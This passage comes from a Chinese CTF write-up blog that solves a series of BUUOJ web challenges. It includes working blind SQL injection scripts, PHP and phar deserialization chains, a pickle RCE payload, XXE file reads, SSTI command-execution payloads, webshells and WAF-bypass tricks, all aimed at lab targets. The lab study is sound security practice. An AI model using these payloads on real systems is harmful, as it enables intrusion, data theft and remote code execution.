mid = int((left + right) / 2)
sql = f"?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{x},1))<{mid})^1"
result = requests.get(url + sql)
if "ERROR" in result.text:
left = mid + 1
else:
right = mid
# print(f"left now is: {left}")
# print(f"right now is: {right}")
res += chr(int((left + right - 1) / 2))
print(f"result now is: {res}")
if "}" in res:
break

爆数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://913ec15c-c8c0-471b-a52a-b9284ba0af77.node3.buuoj.cn/search.php"
res = ''
for x in range(1, 200):
left = 32
right = 128
while left < right:
mid = int((left + right) / 2)
sql = f"?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{x},1))<{mid})^1"
result = requests.get(url + sql)
if "ERROR" in result.text:
left = mid + 1
else:
right = mid
# print(f"left now is: {left}")
# print(f"right now is: {right}")
res += chr(int((left + right - 1) / 2))
print(f"result now is: {res}")
if "}" in res:
break

得到flag

flag{c3b4b1f9-2515-4cf0-af08-2ca189dc3f38}

[MRCTF2020]Ezpop

反序列化链

题目给出了很长的一串php代码,可以看出是一道反序列化题目

1
2
3
4
5
6
7
// 题目中出现的反序列化方法
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
// 难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发

我们看一下代码,先看看第一个

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value); // include函数包含文件,这里应该是拿flag的地方,并且题目已经给出了flag在flag.php中
}
public function __invoke(){ // __invoke魔术方法,具体看上面
$this->append($this->var);
}
}

第二个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show{
public $source;
public $str;
public function __construct($file='index.php'){ // __construct魔术方法,创建类时自动调用
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ // __toString魔术方法,上面的echo 把source对象当作字符串调用了,于是会触发这个魔术方法
return $this->str->source; // 访问了$str里的source
}

public function __wakeup(){ // 调用unserialize函数时自动触发
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { // 这里过滤了一些东西,但是没有过滤filter伪协议
echo "hacker";
$this->source = "index.php";
}
}
}

第三个

1
2
3
4
5
6
7
8
9
10
11
class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){ // __get魔术方法,具体看上面
$function = $this->p;
return $function(); // 这里很显然的可以用来调用第一个类中的__invoke魔术方法
}
}

如果当第二个里的$str=new Test(),而Test类中又没有source,于是可以触发__get()魔术方法,然后我们只需要使$p=new Modifier(),就又可以触发__invoke()魔术方法,最后我们只要使Modifier里的var为我们要读取的flag.php即可。

所以payload可以为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class Modifier
{
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
}
}

class Test
{
public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
//echo serialize($b);
echo urlencode(serialize($b));

最后即可得到flag,算是一道入门的php链题吧

flag{3beb1994-1149-438c-847e-9c5315aba30b}

[NCTF2019]True XML cookbook

这题跟之前的那道XXE题目差不多,但是后面获取flag的姿势换了

XXE打内网

先看看/etc/passwd

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "file:///etc/passwd">
]>
<user><username>&a;</username><password>a</password></user>

可以进去,去看看/flag能不能拿到东西

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "file:///flag">
]>
<user><username>&a;</username><password>a</password></user>

结果出现报错了,应该是没有flag这个文件

这里看了看别人的WP,学到了一些新东西,XXE可以直接查看内网

核心文件是/etc/hosts/proc/net/arp,用来查看内网存活的主机IP

只有/proc/net/arp有出现内网IP,直接读取看看

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "http://10.0.96.2">
]>
<user><username>&a;</username><password>a</password></user>

没有啥有用的回显,直接爆ip的c段

[GYCTF2020]FlaskApp

SSTI

在解密界面输入一些随机字符串,出现了报错回显,显示出了一部分源代码

发现可以SSTI,而且有个waf过滤了一些东西,直接查看源代码看看waf里有什么

1
{{config.__init__.__globals__['__builtins__'].open('app.py','r').read()}}

拿到waf的源代码

1
2
3
4
5
6
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

虽然过滤了一些东西,但是还是可以用字符串拼接来进行注入

1
{{config.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

拿到目录,看见个this_is_the_flag.txt,但是flag被过滤了

所以可以这样子

1
{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}

拿到flag

flag{2f47beb4-67e1-40f4-b9f3-444d0003f7b7}

[CISCN2019 华北赛区 Day1 Web2]ikun

题目提示说要买到lv6,整个脚本跑一下

1
2
3
4
5
6
7
8
import requests

url = "utl_here/shop?page="
for i in range(1, 2000):
r = requests.get(url + str(i))
if "lv6.png" in r.text:
print(i)
break

结账的时候发现要1145141919.0才能买下,应该是要抓包改一下

改一下折扣,发现需要admin才能进入

JWT解密

重新抓包,发现了JWT,进JWT解密网站解出来

然后用c-jwt-cracker解出key为1Kun(tips:k要大写

最后再重新生成一下JWT

抓包上传一下,成功进入

python反序列化漏洞

源代码内发现一个www.zip

下载后进入Admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

这里可以看出使用了tornado的get_argument进行获取become变量,然后使用pickle进行序列化,这里就是我们可以利用的点

具体看这里关于Python sec的一些简单的总结还有这里Python反序列化漏洞的花式利用

所以我们就可以写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import urllib


class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt', 'r').read()",))


a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

这样就可以算出来提取flag的become值,然后再提交一次就可以拿到flag了

flag{a18502ab-fc97-410e-8bb7-744f815d7601}

[CISCN2019 华东南赛区]Web11

smarty的SSTI

看到smarty时想到了SSTI,并且提示注入点在X-Forwarded-For,简单测试一下

1
X-Forwarded-For: {{7 * 7}}

回显出49,说明存在smartySSTI,查了一下常用的payload

1
2
3
4
5
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}

成功拿到flag

1
{if system('cat /flag')}{/if}

[CISCN2019 华北赛区 Day1 Web1]Dropbox

注册登陆后有个上传文件的按钮,本来以为是upload的,但是传了点东西都没啥反应,也不知道上传目录在哪,点下载的时候抓包发现了一个filename,应该可以把需要的文件下下来看源码

../../index.php

../../download.php

../../delete.php

../../class.php (这个是下完index.php后在里面看到include的

phar反序列化

这里是原理

看看class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

可以发现最下面有一个file_get_contents,这里应该是拿flag的地方,但是要先跑close()方法,这里看到上面的User类,这里执行__destruct()方法后会执行一个$this->db->close(),但是User里并没有close()方法,所以应该是从这里调用close()方法,然后看到FileList()类,这里有一个__call方法,那么我们可以使User类中的$db = new FileList(),这样就会执行FileList中的__call方法,进而执行close(),然后我们需要执行的是File中的close,所以我们可以使FileList中的$files = array(new File()),这样就可以调用File中的close方法了

最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class User {
public $db;
}

class FileList {
private $files;
public function __construct(){
$this->files = array(new File());
}
}

class File {
public $filename = "/flag.txt";
}

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER();?>"); // 这里的GIF89a是伪造gif
$phar->addFromString('test.txt', 'test');
$object = new User();
$object->db = new FileList();
$phar->setMetadata($object);
$phar->stopBuffering();

然后由于download里把flag过滤了,所以我们可以从delete里跑phar流

就可以拿到flag了

[MRCTF2020]套娃

ctrl+U发现源代码。

1
2
3
4
5
6
7
8
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ // 判断有无_
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ // 判断有无23333
echo "you are going to the next ~";
}

下划线可以用%20绕过,原理在这,而字符串可以用%0a绕过,tips: %0a为url编码后的换行符。

1
b%20u%20p%20t%20=23333%0a

然后得到一个secrettw.php,

Flag is here~But how to get it?Local access only! Sorry,you don't have permission! Your ip is :sorry,this way is banned!

ctrl+U查看源码可以发现一大串JSfuck代码,原理看这,然后得到post me Merak,post传参得到一串php代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

这里用了一个change函数用来过滤参数,所以反过去构造一个flag.php就好了

1
2
3
4
5
6
$er = "flag.php";
$ch = '';
for($i = 0; $i < strlen($er); $i++){
$ch .= chr(ord($er[$i]) - $i * 2);
}
echo base64_encode($ch);

得到flag

flag{9248d40f-8f53-42ff-96c4-801f863b7783}

[极客大挑战 2019]RCE ME

题目给出了源代码,可以看出是一道40字的RCE题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>

这里用异或进行构造payload

1
code=$_=%27`{{{%27^%27?%3C%3E/%27;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[%22l%22])

然后可以用蚁剑登陆进去,直接读flag发现读不出来,查了下发现可以用一个bypass disable_functions插件

选择PHP7_GC_UAF模式

然后进入到虚拟终端直接读readflag

最后即可得到flag

flag{43b277ae-fc71-49ac-8350-265816ba9161}

[WUSTCTF2020]颜值成绩查询

简单的布尔盲注

这里直接放脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = 'http://b09bacde-3fcf-4429-a2d2-6d099630fc8a.node3.buuoj.cn/?stunum='


def GetData():
result = ''
for x in range(1, 200):
Left = 32
Right = 128
while Left < Right:
content = "select/**/group_concat(concat_ws(0x7e,/**/value))/**/from/**/flag"
mid = int((Left + Right) / 2)
sql = f"if((ascii(substr(({content}),{x},1))<{mid}),1,0)"
res = requests.get(url + sql)
if "Hi admin" in res.text:
Right = mid
else:
Left = mid + 1
# print(f"Left new is: {Left}")
# print(f"Right new is: {Right}")
result += chr(int((Left + Right - 1) / 2))
print(f"The Result new is: {result}")


if __name__ == '__main__':
GetData()

直接爆出flag

flag{b8a8d39f-41c5-49d8-8f8f-80a3bd78e244}

[BSidesCF 2019]Kookie

进入题目说要登入一个admin账户,注意这里有一句

We found the account cookie/ monster

试下username=cookie,password=monster,成功登入,但是是用的cookie账户登入的。

这里抓包改成admin即可得到flag

flag{c9db885c-078b-491f-871d-22bb4b6f3a04}

[FBCTF2019]RCEService

进入题目后要求输入JSON代码

直接rce,

1
cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

原因:

由于preg_match只读一行,所以可以利用%0a(换行符)进行绕过

还有一种方法,可以利用PCRE的回溯次数限制进行绕过,原理在这

所以咱们可以构造脚本进行攻击

1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a" * 1000000 + '"}'
res = requests.post("http://be96ec7d-da8b-4fef-b553-0d08a4bca0a5.node3.buuoj.cn/", data={"cmd": payload})
# print(payload)
print(res.text)

即可得到flag

[CISCN2019 总决赛 Day2 Web1]Easyweb

备份文件下载

在robots.txt里发现了一个*.php.bak

直接下载备份文件image.php.bak

得到image.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id = isset($_GET["id"]) ? $_GET["id"] : "1";
$path = isset($_GET["path"]) ? $_GET["path"] : "";

$id = addslashes($id);
$path = addslashes($path);

$id = str_replace(array("\\0", "%00", "\\'", "'"), "", $id);
$path = str_replace(array("\\0", "%00", "\\'", "'"), "", $path);

$result = mysqli_query($con, "select * from images where id='{$id}' or path='{$path}'");
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);

$path = "./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

SQL盲注

这里由于单引号被ban了,所以我们可以通过\0进行绕过。

然后还有一点就是爆列名的时候由于单引号被ban掉了,所以我们可以用十六进制进行绕过。

这里是payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "url_here/image.php?id=\\0&path="


def GetFlag():
result = ""
needsql = "select group_concat(concat_ws(0x7e, username, password)) from users"
for x in range(1, 200):
left = 32
right = 128
while left < right:
mid = (left + right) >> 1
sql = f"or if(ascii(substr(({needsql}),{x},1))<{mid},1,0)%23"
res = requests.get(url+sql)
if "JFIF" in res.text:
right = mid
else:
left = mid + 1
# print(f"[+] left now is: {left}")
# print(f"[+] right now is: {right}")
result += chr((left + right - 1) >> 1)
print(f"[*] Result now is: {result}")

然后就可以爆出用户名和密码,直接登陆

PHP短标签

登陆后发现需要上传文件,随便上传个马上去,得到文件名不能包含php字符串。

这里发现文件名会被写入到日志里,于是直接写个马进去。

<?=eval($_POST['a']);?>,然后用蚁剑成功登入拿到flag。

[Zer0pts2020]Can you guess it?

代码审计

点击source之后可以查看到index.php的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string)$_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

这里匹配了一串随机字符串给guess进行比较,很明显是不能走这里拿flag的。

那么回头看

1
2
3
4
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

其中==$_SERVER[‘PHP_SELF’]==,会读取当前PHP文件相对于网站根目录的位置地址。

这里发现了一个basename()函数,这个函数会返回路径中的文件名部分,但是这个函数有一个问题,它会去掉文件名开头的非ASCII值。

1
basename("config.php/%ff"); // => config.php

然后再加个source参数就可以读取源码了。

最终payload

/index.php/config.php/%ff?source

[0CTF 2016]piapiapia

源码泄露

使用dirsearch进行目录检索可以查到有一个==www.zip==,直接下载下来可以看到源码。

代码审计

profile.php里可以看到file_get_contents函数。

1
2
3
4
5
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

然后在config.php里发现了flag。

1
2
3
4
5
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';

所以我们可以通过file_get_contents函数读取config.php以拿到flag。

但是这里需要使$profile['photo']可控,于是在update.php里发现这一段。

1
2
3
4
5
6
7
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

反序列化字符逃逸

这里可以通过提交nickname进行反序列化字符逃逸,把原来的photo顶掉换成我们想要的。

原来构造得到的序列化字符是

1
a:4:{s:5:"phone";i:11111111111;s:5:"email";s:17:"1234567890@qq.com";s:8:"nickname";s:9:"need_here";s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}

然后我们把我们需要的config.php加进去

1
a:4:{s:5:"phone";i:11111111111;s:5:"email";s:17:"1234567890@qq.com";s:8:"nickname";s:9:"need_here";s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}

但是这里还有一个点就是前面有一个if限制了nickname的长度。

于是我们可以选择数组进行绕过

1
a:4:{s:5:"phone";i:11111111111;s:5:"email";s:17:"1234567890@qq.com";s:8:"nickname";a:1:{i:0;s:9:"need_here";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/9e5e2527d69c009a81b8ecd730f3957e";}

然后由于我们是在nickname里输入的,所以需要将";}s:5:"photo";s:10:"config.php";}这34个字符逃逸出来。

这里因为最后进update_profile()函数里后会有一个正则,正则会替换一些字符串为hacker,这里可以取巧一下。

1
2
3
因为我们需要逃逸共34个字符,而替换的hacker为6个字符,所以我们可以选择where进行替换,这样每替换一个字符串长度都会+1
where=5 => 34*5=170
hacker=6 => 34*6=204 => 204-170=34

这样子就可以逃逸出34个字符了

然后注册登陆update就可以拿到flag了

[GWCTF 2019]枯燥的抽奖

代码审计

在network里可以跟到check.php,得到源码。

核心就是这一段

1
2
3
4
5
6
7
8
9
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

这里很明显是要拿到seed然后逆向拿到原字符串才能得到flag。

seed爆破

这里可以用php_mt_seed进行爆破,原理看这

但是爆破前需要转成工具所需的格式,这里放脚本,具体也是看原理。

1
2
3
4
5
6
7
8
9
10
11
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'hch2FuienH' // 已经给出的字符串放这
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
break
print(res)

然后将得到的数据拿到php_mt_seed里爆破即可得到seed

![](C:\Users\violet\Desktop\my blog\blog\source_posts\WriteUp\BUUOJ web 1pts\nS6mYpkeVGcbyhu.png)

这里得出的seed=904536600,放回去爆出原字符串。

1
2
3
4
5
6
7
8
9
<?php
mt_srand(904536600);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";

然后提交即可得到flag。

flag{bb7792f8-ba2d-4fe0-84c5-22aa8ea48825}

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

php伪协议读取文件

打开网页源代码可以发现一个file参数,使用php伪协议进行文件截流即可读取文件。

url_here?file=php://filter/convert.base64-encode/resource=confirm.php

总共有confirm.php, change.php, search.php, index.php, delete.php这几个文件。

sql二次报错注入

挺多参数给过滤过了,但是唯独address没有被过滤,可以从这里入手。

先直接提交address

1’ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),1,30)),0x7e),1)#

这时address已经被录入进数据库中了,然后我们从change.php里再次调用address就会触发sql注入。

得到一半的flag

errorXPATH syntax error: ‘flag{ae44900b-3688-41e7-ab00-2

然后再次注入就可以拿到完整的flag了

flag{ae44900b-3688-41e7-ab00-20da18e3d421}

[津门杯2021]power_cut

swp源码泄露

.index.php.swp下载index.php源码,得到的源码是混乱的,需要重新自己整理一下o(´^`)o。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

class logger
{
public $logFile;
public $initMsg;
public $exitMsg;

// initialise variables
function __construct($file)
{
$this->initMsg = "#--session started--#\n";
$this->exitMsg = "#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);
}

function log($msg)
{
$fd = fopen($this->logFile, "a+");
fwrite($fd, $msg . "\n");
fclose($fd);
}

function __destruct()
{
echo "this is destruct";
}
}

class weblog
{
public $weblogfile;

function __construct()
{
$flag = "system('cat /flag')";
echo "$flag";
}

function __wakeup()
{
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}

public function waf($str)
{
$str = preg_replace("/[<>*#'|?\n ]/", "", $str);
$str = str_replace('flag', '', $str);
return $str;
}

function __destruct()
{
echo "this is destruct";
}
}

$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n]/", "", $log);
$log = str_replace('flag', '', $log);
$log_unser = unserialize($log);

反序列化

看源码可以知道是一道简单的反序列化题。

首先是__wakeup()

1
2
3
4
5
function __wakeup()
{
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}

这里进到了logger类里,logger类里有一个__construct

1
2
3
4
5
6
7
function __construct($file)
{
$this->initMsg = "#--session started--#\n";
$this->exitMsg = "#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);
}

这里有一个readfile,到这应该就可以拿到flag了,大概顺序就是

weblog -> __wakeup() -> logger -> __construct() -> readfile

poc在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class logger
{
public $logFile;
public $initMsg;
public $exitMsg;

// initialise variables
function __construct($file)
{
$this->initMsg = "#--session started--#\n";
$this->exitMsg = "#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);
}
}

class weblog
{
public $weblogfile = "/flag";

function __wakeup()
{
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
}

$log = new weblog();
echo serialize($log);

这里穿的时候要注意一下,刚开始有个正则需要双写绕。

[津门杯2021]hate_php

这题是一道无字母数字的trick,可以用p神的方法绕,原理在这

虽然@被ban了,但是还可以用?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /?code=?><?=`.%20/???/????????[?-[]`;?> HTTP/1.1
Host: 122.112.214.101:20002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Length: 172

------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="file"; filename="1.sh"

#!/bin/sh

cat /flag
------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

[CSCCTF 2019 Qual]FlaskLight

简单的ssti题,但是需要写代码查找所需类的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
try:
url = "http://9cf6a01e-8851-4fbe-a9d1-586bcb300271.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))

得到位置之后直接拿flag

1
{{config.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

[GYCTF2020]Ezsqli

sql无列名 + sys.schema_table_statistics

简单sql盲注,一共看到三个回显。

Nu1L

SQL Injection Checked.

V&N

ban了许多东西,连infomation_schema也无了,但是可以用sys.schema_table_statistics拿到表名。

给上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests


url = "http://13abe06b-22f6-4d77-ab52-8cdfd79f2e56.node4.buuoj.cn/"
result = ""
sql = "select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()"


for i in range(1, 200):
left = 32
right = 128
while left < right:
mid = int((left + right - 1) / 2)
data = {
"id": f"2||ascii(substr(({sql}),{i},1))<{mid}"
}
res = requests.post(url=url, data=data)
if "Nu1L" in res.text:
right = mid
else:
left = mid + 1
# print(f"[*]Left new is: {left} ~ Right new is: {right}")
result += chr(int((left + right - 1) / 2))
print(f"[+]Result new is: {result}")

可以拿到表名,但是拿不到列名,这里就需要无列名注入。

这里重新说一下无列名注入,在sql里比较两个字符串的大小是和长度无关的,就像c语言里的strcmp。

